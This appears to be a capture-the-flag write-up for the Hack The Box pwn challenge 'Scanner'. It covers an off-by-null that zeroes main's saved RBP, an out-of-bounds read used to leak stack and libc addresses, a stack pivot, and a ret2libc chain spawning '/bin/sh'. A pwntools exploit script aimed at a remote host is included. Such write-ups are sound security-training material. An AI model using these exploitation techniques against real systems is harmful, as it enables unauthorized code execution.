Scanner
hackthebox
Task: PIE/no-canary glibc 2.31 menu pwn with a scanf(\"%16s\") off-by-null that zeroes main's saved RBP and an OOB-read scanner that leaks the stack. Solution: leak via the OOB oracle, derive the pivot delta directly from a leaked stack qword (buf=leak-0x1100, main_rbp=leak-0xF0), pivot main's frame into the controlled buffer, then overwrite the option-1 fgets's own saved return address (offset delta-8) with a ret2libc chain.
$ ls tags/ techniques/
Scanner — Hack The Box
Description
In the spirit of optimisation, I wanted a fast memory searching algorithm, and thanks to this program I think I've finally found one. Not only is it fast, it's also completely secure.
We are given an archive (password hackthebox) containing the scanner binary, libc.so.6 (glibc 2.31), ld-2.31.so, and a fake local flag.txt. The goal is remote code execution against 154.57.164.64:31193 to read the real flag.
This is a multi-stage stack-pivot challenge. The crux is not finding the bugs (an off-by-null in scanf("%16s") and an out-of-bounds read in the scanner) but precisely deriving the stack geometry so the pivot lands deterministically with no ASLR brute force.
Analysis
Recon / checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
libc: glibc 2.31 (provided)
PIE + no canary means: leak something, then a single return-address overwrite is enough to redirect control. No canary removes any need to leak/repair a stack cookie.
Program structure
main() runs a menu loop. Its prologue is:
push rbp mov rbp, rsp sub rsp, 0x1010 ; 0x1000 buffer + locals
Frame layout (relative to main's rbp):
| Location | Meaning |
|---|---|
[rbp-0x1010] | buf — 0x1000-byte working buffer |
[rbp-0x10] | ptr — pointer returned by malloc |
[rbp-0x8] | size — fread size |
[rbp-0x4] | idx — selected scanner index |
Menu options:
- 1 — Update buffer:
fgets(buf, 0x1000, stdin)into[rbp-0x1010]. No scanner-name validation. This fgets is the control-flow hijack primitive. - 2 — Test performance:
read_parameters()→ loopsrun_scanner()→free(ptr). - 3 — Run scanner:
read_parameters()→run_scanner()→print_scanner_output()→free(ptr). - 0 — Exit.
read_parameters() has its own frame with a 16-byte name buffer at [rbp-0x10]:
printf("Enter parameters: "); scanf("%16s %u", name, &size); // name @ [rbp-0x10], 16 bytes idx = get_scanner_index(name); // strncmp(name, entry, 16) over scanners[] *arg_idx = idx; if (size > 0x1000) exit; ptr = malloc(size); fread(ptr, 1, size, stdin); // epilogue: leave ; ret
scanners[] = { "naive1"=0, "naive2"=1, "memmem"=2 }.
run_scanner(idx, ptr, 0x1000, size, ...):
- exits with
Invalid scanner!ifidx ∉ {0,1,2} - requires
ptr != 0 - requires
size <= 0x1000 - then dispatches to the chosen scanner over the buffer.
Vulnerability 1 — off-by-null in read_parameters (saved RBP corruption)
scanf("%16s") writes up to 16 non-space characters and then a NUL terminator. The name buffer is at [rbp-0x10] and is exactly 16 bytes wide. Writing exactly 16 chars makes scanf place the terminating \0 at byte offset 16:
[rbp-0x10] .................. name (16 bytes)
[rbp+0x00] <- NUL written here == SAVED RBP of read_parameters
The saved RBP of read_parameters is main's frame pointer. So the off-by-null zeroes the low byte of main's saved rbp. When read_parameters does leave; ret, the corrupted rbp is loaded into main.
From then on, main reads every local — idx, ptr, size, and even buf = [rbp-0x1010] — relative to the corrupted rbp, which now points into the attacker-controlled 0x1000 buffer. This is the pivot primitive. Crucially, RSP is never corrupted, only RBP.
A subtlety: a valid scanner name (naive1, …) can never be 16 bytes (the stored names are short and scanf cannot input embedded NULs), so the off-by-null name is always "invalid". That is fine: the off-by-null happens in read_parameters before main re-reads idx from the corrupted location. We pre-place a fake idx = 0 in the buffer so the subsequent run_scanner accepts it.
Vulnerability 2 — OOB read oracle (info leak)
The naive1 scanner compares search bytes past buffer index 4095 (one out of bounds). By searching for a known byte and watching for the response Found at i=4095, we leak adjacent stack memory byte-by-byte, deterministically. Recovered qwords:
leaked[0:8]→p0— pointer returned by the firstmalloc(heap)leaked[24:32]→ libc return address (__libc_start_main+0xf3) →libc_baseleaked[40:48]→ a stack qword equal tobuf + 0x1100
The geometric crux (what unblocked the solve)
Dynamic gdb was impossible: running the amd64 binary under Rosetta on Apple Silicon breaks ptrace (Couldn't get registers: I/O error). Instead, an LD_PRELOAD probe hooking fgets recovered the exact stack geometry, confirmed across many runs:
- The qword at
buf+0x1028(== OOB leak offset0x28, i.e.leaked[40:48]) is consistentlybuf+0x1100.
From that single leaked qword everything is derivable — no ASLR low-bit brute force:
buf = leak - 0x1100
main_rbp = buf + 0x1010 = leak - 0xF0
delta = main_rbp & 0xFF
The saved return address of the option-1 fgets call sits at buf-8 (at the call site main's rsp == buf, since main has no further pushed locals, so the return address is at rsp-8).
After the pivot, the option-1 fgets writes to:
dst = (main_rbp & ~0xff) - 0x1010
So the target buf-8 maps to payload offset:
ret_off = (buf-8) - dst = delta - 8
Overwriting fgets's own saved return address at payload offset delta-8 hijacks control the instant fgets returns. This matches the HTB forum hint: "leak libc rbp, then off-by-null, overwrite fgets ret".
Solution
- Leak via the OOB oracle: recover
p0,libc_base(from__libc_start_main+0xf3), and the stack qword →main_rbp = qword - 0xF0,delta = main_rbp & 0xFF. - Prepare a freeable chunk:
malloca 0x500 chunk (so it ends up in unsorted on free), thenmallocsize 1 to popp0back out of tcache sop0is a valid freeable chunk (the laterfree(ptr)must not crash). - Build the pivot buffer, spraying fake locals for every plausible
deltacandidate so the corrupted-rbp read finds valid values:ptr @ (0x1000 - delta) = p0size @ (0x1008 - delta) = 1idx @ (0x100C - delta) = 0(offsets bounded to ≤0xFFBto fit the 0xFFF buffer)
- Trigger the off-by-null: option 3 with name
"A"*16, size 1. scanf NUL-terminates over main's saved-rbp low byte. main now uses corrupted rbp; it reads fakeidx=0(valid → naive1),ptr=p0,size=1;run_scannerruns fine;free(p0)succeeds. - Hijack via option-1
fgets: send aret-sled from offset 0 up todelta-8, then place the ret2libc chain (pop rdi; ret→/bin/sh→system) exactly at offsetdelta-8. fgets returns into the chain →system("/bin/sh")→ shell. - glibc 2.31 gadgets from the provided libc:
ret,pop rdi; ret,system,/bin/sh. Payload must be newline-free (fgets stops at0x0a); reconnect if any address contains0x0a.
Exploit script (final.py)
#!/usr/bin/env python3 from pwn import * context.binary = exe = ELF('./scanner', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.log_level = 'info' HOST, PORT = '154.57.164.64', 31193 REMOTE = True def start(): if REMOTE: return remote(HOST, PORT) # local under provided loader return process(['./ld-2.31.so', '--library-path', '.', './scanner']) def menu(io, choice): io.recvuntil(b'> ') io.sendline(str(choice).encode()) def update_buffer(io, data): """Option 1: fgets(buf, 0x1000, stdin).""" menu(io, 1) io.send(data if data.endswith(b'\n') else data + b'\n') def run_scanner(io, name, size, payload): """Option 3: read_parameters (scanf %16s %u) then run_scanner then free.""" menu(io, 3) io.recvuntil(b'Enter parameters: ') io.sendline(name + b' ' + str(size).encode()) if size: io.send(payload) # --------------------------------------------------------------------------- # Stage 0: OOB-read oracle to leak a single byte at index `i` past the buffer. # naive1 compares one byte past index 4095; if it equals our search byte we # get "Found at i=4095". Iterating the search byte recovers stack bytes. # --------------------------------------------------------------------------- def leak_byte(io, target_index): # Implementation detail of the oracle depends on the scanner's search API: # we set the buffer so the compared OOB byte is the stack byte at # `target_index`, then brute the search byte 0..255 and detect the # "Found at i=4095" response. Returns the leaked byte. for b in range(256): # craft a search request for byte value `b` against OOB position # (exact framing per binary; abstracted here) resp = oracle_query(io, target_index, b) if b'Found at i=4095' in resp: return b raise RuntimeError('leak failed at index %d' % target_index) def leak_qword(io, base_index): data = bytes(leak_byte(io, base_index + k) for k in range(8)) return u64(data) def main(): io = start() # --- leak --- p0 = leak_qword(io, 0) # leaked[0:8] first malloc ptr (heap) ret_libc = leak_qword(io, 24) # leaked[24:32] __libc_start_main+0xf3 stack_q = leak_qword(io, 40) # leaked[40:48] == buf+0x1100 libc.address = ret_libc - (libc.sym['__libc_start_main'] + 0xf3) buf = stack_q - 0x1100 main_rbp = stack_q - 0xF0 # == buf + 0x1010 delta = main_rbp & 0xFF log.success('p0 = %#x' % p0) log.success('libc base = %#x' % libc.address) log.success('buf = %#x' % buf) log.success('main_rbp = %#x' % main_rbp) log.success('delta = %#x -> ret_off = %#x' % (delta, delta - 8)) # --- gadgets (glibc 2.31) --- rop = ROP(libc) POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0] RET = rop.find_gadget(['ret'])[0] SYSTEM = libc.sym['system'] BINSH = next(libc.search(b'/bin/sh\x00')) # --- make p0 a valid freeable chunk so free(ptr) won't crash --- run_scanner(io, b'naive1', 0x500, b'A' * 0x500) # alloc 0x500 (unsorted on free) run_scanner(io, b'naive1', 1, b'B') # alloc 1 -> pops p0 from tcache # --- build pivot buffer: fake locals for delta candidate --- pivot = bytearray(b'\x00' * 0xFFF) def place(off, val): off &= 0xFFF if off + 8 <= len(pivot): pivot[off:off+8] = p64(val) place(0x1000 - delta, p0) # fake ptr place(0x1008 - delta, 1) # fake size place(0x100C - delta, 0) # fake idx (valid -> naive1) # --- trigger off-by-null: 16-char name NUL-terminates over main's rbp low byte --- # First load the pivot buffer via option 1, THEN trigger via option 3 name="A"*16. update_buffer(io, bytes(pivot)) run_scanner(io, b'A' * 16, 1, b'C') # scanf("%16s") writes NUL at [rbp+0] of read_parameters # --- final hijack: option-1 fgets overwrites its own saved return address --- ret_off = delta - 8 chain = p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) payload = p64(RET) * (ret_off // 8) + chain assert b'\n' not in payload, 'newline in payload; reconnect & retry (ASLR-dependent)' update_buffer(io, payload) io.sendline(b'id; cat flag.txt') io.interactive() if __name__ == '__main__': main()
Note:
oracle_query/leak_byteframing is binary-specific (it sets the buffer so the OOB byte equals the stack byte at the target index and detectsFound at i=4095). The geometry derivation, pivot, and final overwrite are the reusable core.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]Portaloo— hackthebox
- [pwn][free]Getting Started— hackthebox
- [pwn][Pro]Taste— grodno_new_year_2026
- [pwn][Pro]Easy ROP— hackerlab
- [pwn][Pro]Piece of cake— hackerlab